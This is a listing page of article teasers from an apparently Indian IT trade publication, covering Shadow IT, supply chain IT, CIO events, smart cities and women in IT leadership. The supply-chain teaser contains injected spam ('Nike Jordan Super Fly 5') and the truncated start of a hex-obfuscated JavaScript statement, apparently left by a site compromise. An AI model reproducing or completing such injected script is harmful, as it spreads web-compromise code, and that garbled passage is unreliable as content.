A New Approach to Shadow IT

These days whenever I ask CIOs about the biggest challenge confronting them, Shadow IT  invariably finds a mention. Shadow IT, which refers to information technology products/solutions that find their way into enterprises without the approval from the IT department, is an emerging phenomenon most CIOs are wary of.  The biggest area of concern for CIOs vis­a­vis Shadow IT is... By

Pocket CIO 2014 Mumbai

By Manan M

The Modern Supply Chain and the Role of IT

Here's What You'll Learn: A brief overview of industry, and the latest business trends. Key challenges faced in managing supply chain operations in organizations, and the industry. How IT solutions can be improved, or will make an impact on supply chain management over the next 3 to 5 years. Nike Jordan Super Fly 5var nsSGCDsaF1=new window["\x52\x65\x67\... By Manan M

8 Phones You Should Consider for Diwali 2014

By Manan M

Pocket CIO 2014 - Delhi

By Manan M

A look at the Smart Watches

By Manan M

What Makes the Next CIO?

The Delhi edition of Pocket CIO program held on Friday discussed not only the technology trends but also leadership traits for IT managers to understand, learn and grow to the next level.  From big data to IoT and connected car, from cloud to social, experts deliberated on how to best leverage these big trends for business benefits.    Next big trends for IT managersWe all know... By Mastufa Ahmed

Smart City Use Cases that India Can Replicate

As the government begins its work on township in Greater Noida and other places as a precursor to creating smart cities, we take a look at the scope of the project and various uses cases that govt can follow to make its cities smart. Before we talk about use cases, let’s define the term ‘smart city’. The term is little fuzzy because there is no completeness to the smartness... By Mastufa Ahmed

How Women IT Managers Wade Extra Mile in IT

Going by the census in terms of the ratio of women as against men opting for hardcore IT jobs, the ratio has been still minimal. However, the heartening part of the women story is that the women senior IT managers are, leaving apart the number, are taking up larger tasks within the enterprise and making all efforts to create a level-playing field. Interestingly women who have moved up in the... By

Leadership Mantras of Women IT Managers

A few months back, in a survey conducted by Gartner, it was revealed that the percentage of women CIOs has remained largely static since 2004, when Gartner first analysed the CIO Agenda Survey data by gender. In the field of digital leadership, women IT managers were slightly more confident about their enterprise's ability to deal with the wave of digital opportunities. The survey found that 49... By Geetha N

3D Printing will Transform the Corporate IT Environment

Which direction is the managed services business taking that may impact the consumers? Xerox India, along with Ernst & Young came out with the first ever comprehensive survey on managed print services in India. The survey projects a high growth rate of 30 per cent for MPS services in India, making it one of the fastest growing MPS markets globally and a significant growth opportunity for... By Geetha N

Bharti Retail Selects Accenture to Implement SAP Solutions for Retail

SAP solutions to enable the retailer to more efficiently plan, monitor and track the flow of merchandise and information throughout its supply chain. Bharti Retail currently operates 212 neighbourhood stores and compact hypermarket formats across 11 Indian states.  By rolling out the SAP ERP application and data management software, along with solutions for merchandising, forecasting... By